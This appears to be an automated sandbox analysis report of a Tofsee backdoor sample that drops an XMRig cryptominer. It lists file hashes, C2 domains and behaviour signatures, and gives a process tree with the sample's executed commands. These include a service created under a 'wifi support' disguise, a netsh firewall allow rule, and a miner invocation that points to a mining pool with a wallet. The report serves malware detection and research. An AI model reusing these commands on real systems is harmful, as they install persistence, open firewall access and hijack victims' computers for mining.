Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 15:28

General

  • Target

    2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd.exe

  • Size

    286KB

  • MD5

    daaf12a5294d351d43dbd52d42368c67

  • SHA1

    d94ded4c33a8f916be546bb9feecb67774b0d42a

  • SHA256

    2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd

  • SHA512

    f6c408f5baa57fa736be90ed973d771aca40d2814e47d0c7c5a51e5f4a403511b672060db1fbfbfc4de38c6c0539dfa7fe1083634dd5668f396c5f65add464bc

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd.exe
    "C:\Users\Admin\AppData\Local\Temp\2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pksuzkqk\
      2⤵
        PID:4000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lxzpbshe.exe" C:\Windows\SysWOW64\pksuzkqk\
        2⤵
          PID:4276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pksuzkqk binPath= "C:\Windows\SysWOW64\pksuzkqk\lxzpbshe.exe /d\"C:\Users\Admin\AppData\Local\Temp\2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pksuzkqk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pksuzkqk
          2⤵
          • Launches sc.exe
          PID:1192
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 672
          2⤵
          • Program crash
          PID:3732
      • C:\Windows\SysWOW64\pksuzkqk\lxzpbshe.exe
        C:\Windows\SysWOW64\pksuzkqk\lxzpbshe.exe /d"C:\Users\Admin\AppData\Local\Temp\2c83b506a4a8d68478588340361759c8beb9b1436477731d24798c34864da4dd.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:112
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4736
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 112 -s 512
          2⤵
          • Program crash
          PID:4652
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2824 -ip 2824
        1⤵
          PID:3552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 112 -ip 112
          1⤵
            PID:784

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lxzpbshe.exe

            Filesize

            13.8MB

            MD5

            ced3ed79be5eebc89a44f20c0478af4f

            SHA1

            24b26138a5670ee385254f72cd9c750fed5c178b

            SHA256

            1a4d742be3f25db7f3723d639bb5ba71518749bcab995374855fff221bcc61c7

            SHA512

            3d3434dea66b266d31dbb6058d7d96802e8a45021122430960bc4d4eccf0fdf85a3e29f68342b0208a44605346d2f583ae5930521934c9a820e2f77333583971

          • C:\Windows\SysWOW64\pksuzkqk\lxzpbshe.exe

            Filesize

            13.8MB

            MD5

            ced3ed79be5eebc89a44f20c0478af4f

            SHA1

            24b26138a5670ee385254f72cd9c750fed5c178b

            SHA256

            1a4d742be3f25db7f3723d639bb5ba71518749bcab995374855fff221bcc61c7

            SHA512

            3d3434dea66b266d31dbb6058d7d96802e8a45021122430960bc4d4eccf0fdf85a3e29f68342b0208a44605346d2f583ae5930521934c9a820e2f77333583971

          • memory/112-147-0x0000000000400000-0x0000000000B3B000-memory.dmp

            Filesize

            7.2MB

          • memory/112-146-0x0000000000BE3000-0x0000000000BF3000-memory.dmp

            Filesize

            64KB

          • memory/228-139-0x0000000000000000-mapping.dmp

          • memory/1192-138-0x0000000000000000-mapping.dmp

          • memory/1400-137-0x0000000000000000-mapping.dmp

          • memory/2824-141-0x0000000000400000-0x0000000000B3B000-memory.dmp

            Filesize

            7.2MB

          • memory/2824-131-0x0000000000C88000-0x0000000000C98000-memory.dmp

            Filesize

            64KB

          • memory/2824-132-0x0000000000C50000-0x0000000000C63000-memory.dmp

            Filesize

            76KB

          • memory/2824-133-0x0000000000400000-0x0000000000B3B000-memory.dmp

            Filesize

            7.2MB

          • memory/3092-150-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/3092-159-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/3092-143-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/3092-165-0x00000000027D0000-0x00000000027D7000-memory.dmp

            Filesize

            28KB

          • memory/3092-162-0x0000000007440000-0x000000000784B000-memory.dmp

            Filesize

            4.0MB

          • memory/3092-148-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/3092-149-0x0000000000130000-0x0000000000145000-memory.dmp

            Filesize

            84KB

          • memory/3092-142-0x0000000000000000-mapping.dmp

          • memory/3092-153-0x0000000000D40000-0x0000000000D46000-memory.dmp

            Filesize

            24KB

          • memory/3092-156-0x00000000017C0000-0x00000000017D0000-memory.dmp

            Filesize

            64KB

          • memory/4000-130-0x0000000000000000-mapping.dmp

          • memory/4244-136-0x0000000000000000-mapping.dmp

          • memory/4276-134-0x0000000000000000-mapping.dmp

          • memory/4736-168-0x0000000000000000-mapping.dmp

          • memory/4736-169-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/4736-174-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB